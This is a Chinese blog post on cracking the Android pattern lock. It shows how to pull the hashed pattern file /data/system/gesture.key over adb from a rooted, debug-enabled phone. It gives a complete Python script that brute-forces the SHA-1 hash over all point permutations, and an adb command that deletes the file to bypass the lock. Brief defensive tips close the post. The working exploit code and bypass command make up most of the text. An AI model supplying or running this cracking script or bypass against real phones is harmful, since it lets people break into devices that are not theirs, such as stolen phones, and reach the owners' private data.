zoukankan      html  css  js  c++  java
  • 破解android手机图形锁

         安卓手机的图形锁包括3*3,4*4,5*5的点阵,按次序连接数个点从而达到锁定/解锁的功能。以3*3为例,最少需要连接4个点,最多能连接9个点。在我们进行绘制图形的过程中,每选中这9个点中的一个点,实际上就代表选中了一位数字。当我们连接完4个点时,产生的图形也会间接生成一组密码。比如我们选中02、04、05、08这四个点位,那么组成的密码即为02040508。当然,为了安全,生成的密码是不可能直接被存储的,于是安卓系统将02040508转换为16进制并以sha1加密,并存储在手机里的/data/system/gesture.key 文件中。我们要做的就是破解这个文件中保存的密钥,通过破解出的密钥可以得到绘制图形的点位,从而进入手机系统。

    破解有两个前提条件:

    (1)手机需要root;

    (2)需要开启调试模式。

    满足了以上两个条件,我们便可以开始对安卓手机的图形密码进行破解。

    首先利用adb进入手机的shell模式。然后adb pull data/system/gesture.key gesture.key。将密钥存放的文件拷贝到电脑。利用C32Asm打开gesture.key文件,会发现其文件内容为sha1加密。如图1所示: 

    图1

    因为该密钥是基于点位组成的密码,将sha1密钥解密后的密码应该是大于4位小于9位的。密码数量大概在3024~985824之间。既然密码的数量已经知道,我们便可以对该密码进行穷举破解。

    利用python编写穷举破解程序:

    主要编程思路如下:首先对00-09这些数字进行排列组合,需要用到Python中的itertools模块,来完成迭代循环操作。组合出来的数字序列在用hashlib模块对字符串进行SHA1加密,然后对gesture.key文件中的密钥进行碰撞,知道找到相同的一组数字序列。

    代码:

     1 #coding:utf-8
     2 import itertools
     3 import hashlib
     4 import time
     5 import os
     6 #调用cmd,ADB连接到手机,读取SHA1加密后的字符串
     7 #os.system(r"adb pull /data/system/gesture.key gesture.key")
     8 time.sleep(5)
     9 f=open('gesture.key','r')
    10 pswd=f.readline()
    11 f.close()
    12 pswd_hex=pswd.encode('hex')
    13 print u'加密后的密码为:%s'%pswd_hex
    14 #生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
    15 matrix=[] 
    16 for i in range(0,9):
    17     str_temp = '0'+str(i)
    18     matrix.append(str_temp)
    19 #将00——08的字符进行排列,至少取4个数排列,最多全部进行排列
    20 min_num=4
    21 max_num=len(matrix)
    22 list_m=[]
    23 for num in range(min_num,max_num+1):#从04 -> 08
    24     iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
    25     list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
    26 
    27 for i in list_m:
    28     for el in i:#遍历这n个数字的全部排列
    29         strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
    30         #print strlist
    31         strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
    32         if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
    33             print u'解锁密码为:',strlist

    当脚本运行完成后,便会输出图形序列的密码,按照0001020406的排列顺序,绘制相应的图形便可进入手机。 


    通过这种方式获取手机权限的限制还是比较多的,首先手机必须是已经root的最高权限,并且开启了开发者调试模式。

    防止以上攻击方法的防御措施就是关闭开发者调试模式,手机被盗后可以禁止其他人对手机ADB调试破解密码。另外也要防止木马被植入手机,因为通过木马也可以导出手机中的gesture.key密钥管理文件。

    另外,从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。

    参考文章:http://www.jb51.net/softjc/295236.html

  • 相关阅读:
    面向对象七大设计原则
    S2第六章
    S2第四章
    大数据Hadoop——HDFS Shell操作
    大数据Hadoop——初识Hadoop
    ssh整合oracle数据源报错????
    关于Struts2的通配方法、转发重定向
    SSH实现ajax
    关于Struts2自动装配和访问Servlet API
    Oracle函数
  • 原文地址:https://www.cnblogs.com/goodhacker/p/5357502.html
Copyright © 2011-2022 走看看